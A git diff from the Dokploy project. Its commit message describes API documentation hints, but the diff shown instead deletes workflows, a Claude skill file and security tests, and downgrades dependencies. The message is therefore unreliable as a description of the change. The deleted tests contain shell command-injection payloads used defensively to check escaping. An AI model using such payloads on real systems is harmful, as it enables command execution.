feat: enhance API parameter documentation with semantic hints

- Introduced semantic hints for API parameters in the endpoint catalog, providing clearer guidance on expected values and formats.
- Updated the endpoint text generation to include these hints, improving the usability of the API documentation for developers.
- Enhanced the overall clarity of parameter descriptions, facilitating better understanding and implementation of API calls.

These changes significantly improve the developer experience by making API interactions more intuitive and informative.

.claude/skills/frontend-design/SKILL.md

@@ -1,42 +0,0 @@
----
-name: frontend-design
-description: Create distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
-license: Complete terms in LICENSE.txt
----
-
-This skill guides creation of distinctive, production-grade frontend interfaces that avoid generic "AI slop" aesthetics. Implement real working code with exceptional attention to aesthetic details and creative choices.
-
-The user provides frontend requirements: a component, page, application, or interface to build. They may include context about the purpose, audience, or technical constraints.
-
-## Design Thinking
-
-Before coding, understand the context and commit to a BOLD aesthetic direction:
-- **Purpose**: What problem does this interface solve? Who uses it?
-- **Tone**: Pick an extreme: brutally minimal, maximalist chaos, retro-futuristic, organic/natural, luxury/refined, playful/toy-like, editorial/magazine, brutalist/raw, art deco/geometric, soft/pastel, industrial/utilitarian, etc. There are so many flavors to choose from. Use these for inspiration but design one that is true to the aesthetic direction.
-- **Constraints**: Technical requirements (framework, performance, accessibility).
-- **Differentiation**: What makes this UNFORGETTABLE? What's the one thing someone will remember?
-
-**CRITICAL**: Choose a clear conceptual direction and execute it with precision. Bold maximalism and refined minimalism both work - the key is intentionality, not intensity.
-
-Then implement working code (HTML/CSS/JS, React, Vue, etc.) that is:
-- Production-grade and functional
-- Visually striking and memorable
-- Cohesive with a clear aesthetic point-of-view
-- Meticulously refined in every detail
-
-## Frontend Aesthetics Guidelines
-
-Focus on:
-- **Typography**: Choose fonts that are beautiful, unique, and interesting. Avoid generic fonts like Arial and Inter; opt instead for distinctive choices that elevate the frontend's aesthetics; unexpected, characterful font choices. Pair a distinctive display font with a refined body font.
-- **Color & Theme**: Commit to a cohesive aesthetic. Use CSS variables for consistency. Dominant colors with sharp accents outperform timid, evenly-distributed palettes.
-- **Motion**: Use animations for effects and micro-interactions. Prioritize CSS-only solutions for HTML. Use Motion library for React when available. Focus on high-impact moments: one well-orchestrated page load with staggered reveals (animation-delay) creates more delight than scattered micro-interactions. Use scroll-triggering and hover states that surprise.
-- **Spatial Composition**: Unexpected layouts. Asymmetry. Overlap. Diagonal flow. Grid-breaking elements. Generous negative space OR controlled density.
-- **Backgrounds & Visual Details**: Create atmosphere and depth rather than defaulting to solid colors. Add contextual effects and textures that match the overall aesthetic. Apply creative forms like gradient meshes, noise textures, geometric patterns, layered transparencies, dramatic shadows, decorative borders, custom cursors, and grain overlays.
-
-NEVER use generic AI-generated aesthetics like overused font families (Inter, Roboto, Arial, system fonts), cliched color schemes (particularly purple gradients on white backgrounds), predictable layouts and component patterns, and cookie-cutter design that lacks context-specific character.
-
-Interpret creatively and make unexpected choices that feel genuinely designed for the context. No design should be the same. Vary between light and dark themes, different fonts, different aesthetics. NEVER converge on common choices (Space Grotesk, for example) across generations.
-
-**IMPORTANT**: Match implementation complexity to the aesthetic vision. Maximalist designs need elaborate code with extensive animations and effects. Minimalist or refined designs need restraint, precision, and careful attention to spacing, typography, and subtle details. Elegance comes from executing the vision well.
-
-Remember: Claude is capable of extraordinary creative work. Don't hold back, show what can truly be created when thinking outside the box and committing fully to a distinctive vision.

.github/workflows/dokploy.yml

@@ -138,9 +138,6 @@ jobs:
     needs: [combine-manifests]
     if: github.ref == 'refs/heads/main'
     runs-on: ubuntu-latest
-    outputs:
-      version: ${{ steps.get_version.outputs.version }}
-      npm_version: ${{ steps.get_version.outputs.npm_version }}
     steps:
       - name: Checkout
         uses: actions/checkout@v4
@@ -152,113 +149,14 @@ jobs:
         run: |
           VERSION=$(node -p "require('./apps/dokploy/package.json').version")
           echo "version=$VERSION" >> $GITHUB_OUTPUT
-          echo "npm_version=${VERSION#v}" >> $GITHUB_OUTPUT
-
-      - name: Fetch install.sh
-        run: |
-          curl -fsSL https://raw.githubusercontent.com/Dokploy/website/main/apps/website/public/install.sh -o install.sh
-          head -1 install.sh | grep -q '^#!' || { echo "Downloaded install.sh is not a shell script"; exit 1; }
-          grep -q 'DOKPLOY_VERSION' install.sh || { echo "install.sh no longer supports DOKPLOY_VERSION pinning"; exit 1; }
-          { head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${{ steps.get_version.outputs.version }}}\""; tail -n +2 install.sh; } > install-pinned.sh
-          mv install-pinned.sh install.sh
 
       - name: Create Release
         uses: softprops/action-gh-release@v2
         with:
           tag_name: ${{ steps.get_version.outputs.version }}
-          target_commitish: ${{ github.sha }}
           name: ${{ steps.get_version.outputs.version }}
           generate_release_notes: true
           draft: false
           prerelease: false
-          files: install.sh
         env:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-
-  sync-version:
-    needs: [generate-release]
-    if: github.ref == 'refs/heads/main'
-    runs-on: ubuntu-latest
-    steps:
-      - name: Checkout
-        uses: actions/checkout@v4
-
-      - uses: pnpm/action-setup@v4
-        with:
-          version: 10.22.0
-
-      - uses: actions/setup-node@v4
-        with:
-          node-version: 24.4.0
-          cache: pnpm
-
-      - name: Generate OpenAPI specification
-        run: |
-          pnpm install --frozen-lockfile
-          pnpm generate:openapi
-
-      - name: Sync version to MCP repository
-        run: |
-          git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
-          cd /tmp/mcp-repo
-
-          jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
-          mv package.json.tmp package.json
-
-          cp ${{ github.workspace }}/openapi.json src/generated/openapi.json
-          pnpm install
-          pnpm run generate
-
-          git config user.name "Dokploy Bot"
-          git config user.email "bot@dokploy.com"
-          git add -A
-          git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-            -m "Source: ${{ github.repository }}@${{ github.sha }}" \
-            --allow-empty
-          git push
-
-          echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
-
-      - name: Sync version to CLI repository
-        run: |
-          git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo
-          cd /tmp/cli-repo
-
-          jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
-          mv package.json.tmp package.json
-
-          cp ${{ github.workspace }}/openapi.json ./openapi.json
-          pnpm install
-          pnpm run generate
-
-          git config user.name "Dokploy Bot"
-          git config user.email "bot@dokploy.com"
-          git add -A
-          git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-            -m "Source: ${{ github.repository }}@${{ github.sha }}" \
-            --allow-empty
-          git push
-
-          echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
-
-      - name: Sync version to SDK repository
-        run: |
-          git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo
-          cd /tmp/sdk-repo
-
-          jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
-          mv package.json.tmp package.json
-
-          cp ${{ github.workspace }}/openapi.json ./openapi.json
-          pnpm install
-          pnpm run generate
-
-          git config user.name "Dokploy Bot"
-          git config user.email "bot@dokploy.com"
-          git add -A
-          git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-            -m "Source: ${{ github.repository }}@${{ github.sha }}" \
-            --allow-empty
-          git push
-
-          echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.npm_version }}"

.github/workflows/format.yml

@@ -11,7 +11,7 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - name: Checkout code
-        uses: actions/checkout@v5
+        uses: actions/checkout@v4
 
       - name: Setup biomeJs
         uses: biomejs/setup-biome@v2  
@@ -19,4 +19,4 @@ jobs:
       - name: Run Biome formatter
         run:  biome format --write
 
-      - uses: autofix-ci/action@c5b2d67aa2274e7b5a18224e8171550871fc7e4a # v1.3.4
+      - uses: autofix-ci/action@635ffb0c9798bd160680f18fd73371e355b85f27 # v1.3.2

.github/workflows/hotfix-cherry-pick.yml

@@ -1,49 +0,0 @@
-name: Hotfix Cherry-Pick
-
-on:
-  pull_request_target:
-    types: [closed, labeled]
-
-concurrency:
-  group: hotfix-to-main
-  cancel-in-progress: false
-
-jobs:
-  cherry-pick:
-    if: github.event.pull_request.merged == true && contains(github.event.pull_request.labels.*.name, 'hotfix')
-    runs-on: ubuntu-latest
-    permissions:
-      contents: write
-    steps:
-      - name: Checkout main
-        uses: actions/checkout@v4
-        with:
-          ref: main
-          fetch-depth: 0
-          token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
-
-      - name: Cherry-pick fix to main
-        run: |
-          git config user.name "Dokploy Bot"
-          git config user.email "bot@dokploy.com"
-          SHA="${{ github.event.pull_request.merge_commit_sha }}"
-          if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then
-            git cherry-pick -x -m 1 "$SHA"
-          else
-            git cherry-pick -x "$SHA"
-          fi
-          git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]"
-          git push origin main
-
-      - name: Sync cherry-pick back into canary
-        run: |
-          git config user.name "Dokploy Bot"
-          git config user.email "bot@dokploy.com"
-          git fetch origin canary main
-          git checkout -B canary origin/canary
-          if ! git merge origin/main -m "chore: sync hotfix from main into canary [skip ci]"; then
-            git merge --abort
-            echo "::error::Could not auto-sync the hotfix into canary (real conflict, not just history divergence). Merge main into canary manually to avoid a conflict on the next release PR."
-            exit 1
-          fi
-          git push origin canary

.github/workflows/hotfix-release.yml

@@ -1,28 +0,0 @@
-name: Hotfix Release
-
-on:
-  workflow_dispatch:
-
-concurrency:
-  group: hotfix-to-main
-  cancel-in-progress: false
-
-jobs:
-  release:
-    runs-on: ubuntu-latest
-    steps:
-      - name: Checkout main
-        uses: actions/checkout@v4
-        with:
-          ref: main
-          token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
-
-      - name: Bump patch version and push
-        run: |
-          git config user.name "Dokploy Bot"
-          git config user.email "bot@dokploy.com"
-          CURRENT=$(node -p "require('./apps/dokploy/package.json').version")
-          NEW=$(echo "$CURRENT" | awk -F. -v OFS=. '{$NF++; print}')
-          sed -i "s/\"version\": \"$CURRENT\"/\"version\": \"$NEW\"/" apps/dokploy/package.json
-          git commit -am "chore: release ${NEW}"
-          git push origin main

.github/workflows/pr-quality.yml

@@ -0,0 +1,21 @@
+
+name: PR Quality
+
+permissions:
+  contents: read
+  issues: read
+  pull-requests: write
+
+on:
+  pull_request_target:
+    types: [opened, reopened]
+
+jobs:
+  anti-slop:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: peakoss/anti-slop@v0
+        with:
+          blocked-commit-authors: "claude,copilot"
+          require-description: true
+          min-account-age: 5

.github/workflows/pull-request.yml

@@ -14,9 +14,9 @@ jobs:
       matrix:
         job: [build, test, typecheck]
     steps:
-      - uses: actions/checkout@v5
-      - uses: pnpm/action-setup@v5
-      - uses: actions/setup-node@v5
+      - uses: actions/checkout@v4
+      - uses: pnpm/action-setup@v4
+      - uses: actions/setup-node@v4
         with:
           node-version: 24.4.0
           cache: "pnpm"

.github/workflows/sync-openapi-docs.yml

@@ -68,66 +68,3 @@ jobs:
           
           echo "✅ OpenAPI synced to website successfully"
 
-      - name: Sync to MCP repository
-        run: |
-          git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git mcp-repo
-
-          cd mcp-repo
-
-          cp -f ../openapi.json openapi.json
-
-          git config user.name "Dokploy Bot"
-          git config user.email "bot@dokploy.com"
-
-          git add openapi.json
-          git commit -m "chore: sync OpenAPI specification [skip ci]" \
-            -m "Source: ${{ github.repository }}@${{ github.sha }}" \
-            -m "Updated: $(date -u +'%Y-%m-%d %H:%M:%S UTC')" \
-            --allow-empty
-
-          git push
-
-          echo "✅ OpenAPI synced to MCP repository successfully"
-
-      - name: Sync to CLI repository
-        run: |
-          git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git cli-repo
-
-          cd cli-repo
-
-          cp -f ../openapi.json openapi.json
-
-          git config user.name "Dokploy Bot"
-          git config user.email "bot@dokploy.com"
-
-          git add openapi.json
-          git commit -m "chore: sync OpenAPI specification [skip ci]" \
-            -m "Source: ${{ github.repository }}@${{ github.sha }}" \
-            -m "Updated: $(date -u +'%Y-%m-%d %H:%M:%S UTC')" \
-            --allow-empty
-
-          git push
-
-          echo "✅ OpenAPI synced to CLI repository successfully"
-
-      - name: Sync to SDK repository
-        run: |
-          git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git sdk-repo
-
-          cd sdk-repo
-
-          cp -f ../openapi.json openapi.json
-
-          git config user.name "Dokploy Bot"
-          git config user.email "bot@dokploy.com"
-
-          git add openapi.json
-          git commit -m "chore: sync OpenAPI specification [skip ci]" \
-            -m "Source: ${{ github.repository }}@${{ github.sha }}" \
-            -m "Updated: $(date -u +'%Y-%m-%d %H:%M:%S UTC')" \
-            --allow-empty
-
-          git push
-
-          echo "✅ OpenAPI synced to SDK repository successfully"
-

.gitignore

@@ -43,7 +43,4 @@ yarn-error.log*
 *.pem
 
 
-.db
-
-.playwright-*
-.credentials
+.db

.vscode/settings.json

@@ -4,8 +4,5 @@
 	"editor.codeActionsOnSave": {
 		"source.fixAll.biome": "explicit",
 		"source.organizeImports.biome": "explicit"
-	},
-	"[typescript]": {
-		"editor.defaultFormatter": "biomejs.biome"
 	}
 }

Dockerfile

@@ -31,7 +31,7 @@ WORKDIR /app
 # Set production
 ENV NODE_ENV=production
 
-RUN apt-get update && apt-get install -y tini curl unzip zip apache2-utils iproute2 rsync git-lfs && git lfs install && rm -rf /var/lib/apt/lists/*
+RUN apt-get update && apt-get install -y curl unzip zip apache2-utils iproute2 rsync git-lfs && git lfs install && rm -rf /var/lib/apt/lists/*
 
 # Copy only the necessary files
 COPY --from=build /prod/dokploy/.next ./.next
@@ -66,11 +66,7 @@ COPY --from=buildpacksio/pack:0.39.1 /usr/local/bin/pack /usr/local/bin/pack
 
 EXPOSE 3000
 
-HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=5 \
+HEALTHCHECK --interval=10s --timeout=3s --retries=10 \
   CMD curl -fs http://localhost:3000/api/trpc/settings.health || exit 1
 
-# tini reaps HEALTHCHECK child processes that Node (as PID 1) leaves defunct.
-ENTRYPOINT ["/usr/bin/tini", "--"]
-
-# Ejecutar node directamente: pnpm como wrapper queda residente (~100MB RSS)
-  CMD ["sh", "-c", "node -r dotenv/config dist/wait-for-postgres.mjs && node -r dotenv/config dist/migration.mjs && exec node -r dotenv/config dist/server.mjs"]
+  CMD ["sh", "-c", "pnpm run wait-for-postgres && exec pnpm start"]

apps/api/package.json

@@ -17,18 +17,18 @@
 		"hono": "^4.11.7",
 		"pino": "9.4.0",
 		"pino-pretty": "11.2.2",
-		"react": "19.2.7",
-		"react-dom": "19.2.7",
+		"react": "18.2.0",
+		"react-dom": "18.2.0",
 		"redis": "4.7.0",
 		"zod": "^4.3.6"
 	},
 	"devDependencies": {
 		"@types/node": "^24.4.0",
-		"@types/react": "^19.2.0",
-		"@types/react-dom": "^19.2.0",
+		"@types/react": "^18.2.37",
+		"@types/react-dom": "^18.2.15",
 		"rimraf": "6.1.3",
-		"tsx": "^4.22.4",
-		"typescript": "^7.0.2"
+		"tsx": "^4.16.2",
+		"typescript": "^5.8.3"
 	},
 	"packageManager": "pnpm@10.22.0",
 	"engines": {

apps/api/tsconfig.json

@@ -2,12 +2,13 @@
 	"compilerOptions": {
 		"target": "ESNext",
 		"module": "ESNext",
-		"moduleResolution": "bundler",
+		"moduleResolution": "Node",
 		"strict": true,
 		"skipLibCheck": true,
 		"outDir": "dist",
-		"rootDir": "./src",
 		"jsx": "react-jsx",
+		"jsxImportSource": "hono/jsx",
+		"baseUrl": ".",
 		"paths": {
 			"@/*": ["./*"],
 			"@dokploy/server/*": ["../../packages/server/src/*"]

apps/dokploy/__test__/api/api-key-name.test.ts

@@ -1,26 +0,0 @@
-import { describe, expect, it } from "vitest";
-import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
-
-describe("apiKeyNameSchema", () => {
-	it("rejects an empty name", () => {
-		const result = apiKeyNameSchema.safeParse("");
-		expect(result.success).toBe(false);
-	});
-
-	it("accepts a name at the maximum length", () => {
-		const name = "a".repeat(API_KEY_NAME_MAX_LENGTH);
-		const result = apiKeyNameSchema.safeParse(name);
-		expect(result.success).toBe(true);
-	});
-
-	it("rejects a name over the maximum length instead of passing it to better-auth", () => {
-		const name = "a".repeat(API_KEY_NAME_MAX_LENGTH + 1);
-		const result = apiKeyNameSchema.safeParse(name);
-		expect(result.success).toBe(false);
-		if (!result.success) {
-			expect(result.error.issues[0]?.message).toBe(
-				`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
-			);
-		}
-	});
-});

apps/dokploy/__test__/api/session-management.test.ts

@@ -1,23 +0,0 @@
-import { describe, expect, it } from "vitest";
-import { z } from "zod";
-
-const revokeSessionSchema = z.object({
-	sessionId: z.string(),
-});
-
-describe("revokeSession input validation", () => {
-	it("accepts a valid session id", () => {
-		const result = revokeSessionSchema.safeParse({ sessionId: "abc123" });
-		expect(result.success).toBe(true);
-	});
-
-	it("rejects missing sessionId", () => {
-		const result = revokeSessionSchema.safeParse({});
-		expect(result.success).toBe(false);
-	});
-
-	it("rejects non-string sessionId", () => {
-		const result = revokeSessionSchema.safeParse({ sessionId: 123 });
-		expect(result.success).toBe(false);
-	});
-});

apps/dokploy/__test__/backups/db-backup-restore-injection.test.ts

@@ -1,106 +0,0 @@
-import { execSync } from "node:child_process";
-import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
-import {
-	getLibsqlBackupCommand,
-	getMariadbBackupCommand,
-	getMongoBackupCommand,
-	getMysqlBackupCommand,
-	getPostgresBackupCommand,
-} from "@dokploy/server/utils/backups/utils";
-import {
-	getMariadbRestoreCommand,
-	getMongoRestoreCommand,
-	getMysqlRestoreCommand,
-	getPostgresRestoreCommand,
-} from "@dokploy/server/utils/restore/utils";
-import { afterAll, beforeAll, describe, expect, it } from "vitest";
-
-// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
-// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
-// test exercises BOTH shell layers (outer /bin/sh building the docker command,
-// and the inner shell) the way production does, without needing a container.
-const stub = `/tmp/docker_stub_${process.pid}`;
-const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
-
-beforeAll(() => {
-	writeFileSync(
-		stub,
-		`#!/bin/bash
-shift # exec
-envs=()
-while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
-shift 2 # -i CONTAINER
-shell="$1"; shift # bash|sh
-shift # -c
-env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
-`,
-	);
-	chmodSync(stub, 0o755);
-});
-
-afterAll(() => {
-	if (existsSync(stub)) rmSync(stub);
-	if (existsSync(MARK)) rmSync(MARK);
-});
-
-// Run a builder-produced command with `docker` pointed at the stub; return true
-// if no injected command fired.
-const runsSafely = (command: string) => {
-	if (existsSync(MARK)) rmSync(MARK);
-	const withStub = command.replace(/^docker /, `${stub} `);
-	try {
-		execSync(withStub, {
-			shell: "/bin/bash",
-			stdio: "ignore",
-			env: { ...process.env, CONTAINER_ID: "test" },
-		});
-	} catch {}
-	const fired = existsSync(MARK);
-	if (existsSync(MARK)) rmSync(MARK);
-	return !fired;
-};
-
-// Payloads that try to break out of every quoting style used in the builders.
-const p = (mark: string) => [
-	`$(touch ${mark})`,
-	"`touch " + mark + "`",
-	`x'; touch ${mark}; '`,
-	`x"; touch ${mark}; echo "`,
-	`x; touch ${mark}`,
-];
-
-describe("database backup/restore command injection", () => {
-	const cases: Array<[string, (v: string) => string]> = [
-		["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
-		["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
-		["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
-		["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
-		["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
-		["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
-		["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
-		[
-			"mariadb restore (password)",
-			(v) => getMariadbRestoreCommand("db", "u", v),
-		],
-		["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
-		["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
-	];
-
-	for (const [label, build] of cases) {
-		it(`${label} is not injectable`, () => {
-			for (const payload of p(MARK)) {
-				expect(runsSafely(build(payload))).toBe(true);
-			}
-		});
-	}
-
-	it("preserves a legitimate database name (passed through as env var)", () => {
-		const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
-		// Values live in -e assignments, never inline in the pg_dump text.
-		expect(cmd).toContain("-e DB_NAME=my-db_prod");
-		expect(cmd).toContain("-e DB_USER=app_user");
-		expect(cmd).toContain(
-			'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
-		);
-	});
-});

apps/dokploy/__test__/backups/redact-credentials.test.ts

@@ -1,50 +0,0 @@
-import { redactRcloneCredentials } from "@dokploy/server/utils/backups/redact";
-import { describe, expect, it } from "vitest";
-
-describe("redactRcloneCredentials (#4621)", () => {
-	it("should redact access key in rclone command", () => {
-		const cmd =
-			'rclone rcat --s3-access-key-id="AKIAIOSFODNN7EXAMPLE" --s3-secret-access-key="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" :s3:bucket/file.gz';
-		const redacted = redactRcloneCredentials(cmd);
-		expect(redacted).not.toContain("AKIAIOSFODNN7EXAMPLE");
-		expect(redacted).toContain('--s3-access-key-id="[REDACTED]"');
-	});
-
-	it("should redact secret access key in rclone command", () => {
-		const cmd =
-			'rclone rcat --s3-access-key-id="key" --s3-secret-access-key="supersecret" :s3:bucket/file.gz';
-		const redacted = redactRcloneCredentials(cmd);
-		expect(redacted).not.toContain("supersecret");
-		expect(redacted).toContain('--s3-secret-access-key="[REDACTED]"');
-	});
-
-	it("should redact both credentials simultaneously", () => {
-		const cmd =
-			'rclone lsf --s3-access-key-id="AKIA123" --s3-secret-access-key="secret456" --s3-region="us-east-1" :s3:bucket/';
-		const redacted = redactRcloneCredentials(cmd);
-		expect(redacted).not.toContain("AKIA123");
-		expect(redacted).not.toContain("secret456");
-		expect(redacted).toContain('--s3-region="us-east-1"');
-	});
-
-	it("should not modify non-credential flags", () => {
-		const cmd =
-			'rclone rcat --s3-region="eu-west-1" --s3-endpoint="https://s3.example.com" --s3-no-check-bucket :s3:bucket/file.gz';
-		const redacted = redactRcloneCredentials(cmd);
-		expect(redacted).toBe(cmd);
-	});
-
-	it("should handle commands with no credentials", () => {
-		const cmd = "rclone lsf :s3:bucket/";
-		expect(redactRcloneCredentials(cmd)).toBe(cmd);
-	});
-
-	it("should handle error strings containing credentials", () => {
-		const errorStr =
-			'Error: Command failed: rclone lsf --s3-access-key-id="MYKEY" --s3-secret-access-key="MYSECRET" :s3:bucket/';
-		const redacted = redactRcloneCredentials(errorStr);
-		expect(redacted).not.toContain("MYKEY");
-		expect(redacted).not.toContain("MYSECRET");
-		expect(redacted).toContain("[REDACTED]");
-	});
-});

apps/dokploy/__test__/backups/restore-use-statement.test.ts

@@ -1,57 +0,0 @@
-import { execSync } from "node:child_process";
-import {
-	getRestoreCommand,
-	stripDatabaseSwitchCommand,
-} from "@dokploy/server/utils/restore/utils";
-import { describe, expect, it } from "vitest";
-
-const filter = (input: string) =>
-	execSync(stripDatabaseSwitchCommand, {
-		input,
-		shell: "/bin/bash",
-	}).toString();
-
-describe("restore drops database-switch statements (mysql/mariadb)", () => {
-	const dump = [
-		"-- MariaDB dump",
-		"CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;",
-		"USE `production_db`;",
-		"use production_db;",
-		"DROP TABLE IF EXISTS `users`;",
-		"CREATE TABLE `users` (`id` int NOT NULL);",
-		"INSERT INTO `users` VALUES (1),(2);",
-		"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
-	].join("\n");
-
-	it("removes USE and CREATE DATABASE lines but keeps everything else", () => {
-		const result = filter(dump);
-		expect(result).not.toContain("USE `production_db`");
-		expect(result).not.toContain("use production_db");
-		expect(result).not.toContain("CREATE DATABASE /*!32312");
-		expect(result).toContain("DROP TABLE IF EXISTS `users`;");
-		expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);");
-		expect(result).toContain("INSERT INTO `users` VALUES (1),(2);");
-		expect(result).toContain(
-			"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
-		);
-	});
-
-	it("is wired into mysql and mariadb restore pipelines only", () => {
-		const base = {
-			appName: "my-app",
-			restoreType: "database" as const,
-			credentials: {
-				database: "dev_db",
-				databaseUser: "u",
-				databasePassword: "p",
-			},
-			rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip",
-		};
-		for (const type of ["mysql", "mariadb"] as const) {
-			const cmd = getRestoreCommand({ ...base, type });
-			expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`);
-		}
-		const pgCmd = getRestoreCommand({ ...base, type: "postgres" });
-		expect(pgCmd).not.toContain(stripDatabaseSwitchCommand);
-	});
-});

apps/dokploy/__test__/cluster/registry-node-injection.test.ts

@@ -1,70 +0,0 @@
-import { execSync } from "node:child_process";
-import { existsSync, rmSync } from "node:fs";
-import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
-import { parse, quote } from "shell-quote";
-import { describe, expect, it } from "vitest";
-
-const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;
-
-const runsSafely = (command: string) => {
-	if (existsSync(MARK)) rmSync(MARK);
-	try {
-		execSync(command, { shell: "/bin/sh", stdio: "ignore" });
-	} catch {}
-	const fired = existsSync(MARK);
-	if (existsSync(MARK)) rmSync(MARK);
-	return !fired;
-};
-
-const PAYLOADS = (m: string) => [
-	`$(touch ${m})`,
-	"`touch " + m + "`",
-	`x; touch ${m}`,
-	`x | touch ${m}`,
-];
-
-describe("cluster removeWorker nodeId injection", () => {
-	// docker node update/rm ${quote([nodeId])} — replace `docker node` with `:`.
-	it("escapes nodeId in drain/remove commands", () => {
-		for (const nodeId of PAYLOADS(MARK)) {
-			const drain = `: node update --availability drain ${quote([nodeId])}`;
-			const remove = `: node rm ${quote([nodeId])} --force`;
-			expect(runsSafely(drain)).toBe(true);
-			expect(runsSafely(remove)).toBe(true);
-		}
-	});
-});
-
-describe("swarm upload registry tag/push injection", () => {
-	// registryTag is built from registryUrl/username/imagePrefix (username and
-	// imagePrefix have no schema regex). Assert docker tag/push stay safe.
-	it("escapes a malicious imagePrefix flowing into the registry tag", () => {
-		for (const payload of PAYLOADS(MARK)) {
-			const registryTag = getRegistryTag(
-				{
-					registryUrl: "registry.example.com",
-					imagePrefix: payload,
-					username: "user",
-				} as any,
-				"app:latest",
-			);
-			const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
-			const pushCmd = `: push ${quote([registryTag])}`;
-			expect(runsSafely(tagCmd)).toBe(true);
-			expect(runsSafely(pushCmd)).toBe(true);
-		}
-	});
-
-	it("keeps a legitimate registry tag intact", () => {
-		const tag = getRegistryTag(
-			{
-				registryUrl: "registry.example.com",
-				imagePrefix: "team",
-				username: "user",
-			} as any,
-			"myapp:1.2.3",
-		);
-		expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
-		expect(parse(quote([tag]))).toEqual([tag]);
-	});
-});

apps/dokploy/__test__/compose/build-compose-command.test.ts

@@ -1,52 +0,0 @@
-import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
-import { describe, expect, it, vi } from "vitest";
-
-// Isolate the command builder from the compose-file I/O performed by
-// writeDomainsToCompose; we only care about the docker invocation it emits.
-vi.mock("@dokploy/server/utils/docker/domain", () => ({
-	writeDomainsToCompose: vi.fn().mockResolvedValue(""),
-}));
-
-const baseCompose = {
-	appName: "my-app",
-	sourceType: "raw",
-	command: "",
-	composePath: "docker-compose.yml",
-	composeType: "stack",
-	isolatedDeployment: false,
-	randomize: false,
-	suffix: "",
-	serverId: null,
-	env: "",
-	mounts: [],
-	domains: [],
-	environment: { project: { env: "" }, env: "" },
-} as unknown as Parameters<typeof getBuildComposeCommand>[0];
-
-// Regression coverage for #4401: the deploy command runs under `env -i`, which
-// clears the environment except for the vars listed explicitly. HOME must be
-// preserved so docker can resolve ~/.docker/config.json — otherwise
-// `docker stack deploy --with-registry-auth` ships no credentials to the swarm
-// and private-registry images fail to pull.
-describe("getBuildComposeCommand registry auth (#4401)", () => {
-	it("preserves HOME for swarm stack deploys", async () => {
-		const command = await getBuildComposeCommand({
-			...baseCompose,
-			composeType: "stack",
-		});
-
-		expect(command).toContain("stack deploy");
-		expect(command).toContain("--with-registry-auth");
-		expect(command).toContain('env -i PATH="$PATH" HOME="$HOME"');
-	});
-
-	it("preserves HOME for docker compose deploys", async () => {
-		const command = await getBuildComposeCommand({
-			...baseCompose,
-			composeType: "docker-compose",
-		});
-
-		expect(command).toContain("compose -p my-app");
-		expect(command).toContain('env -i PATH="$PATH" HOME="$HOME"');
-	});
-});

apps/dokploy/__test__/compose/compose-command-injection.test.ts

@@ -1,169 +0,0 @@
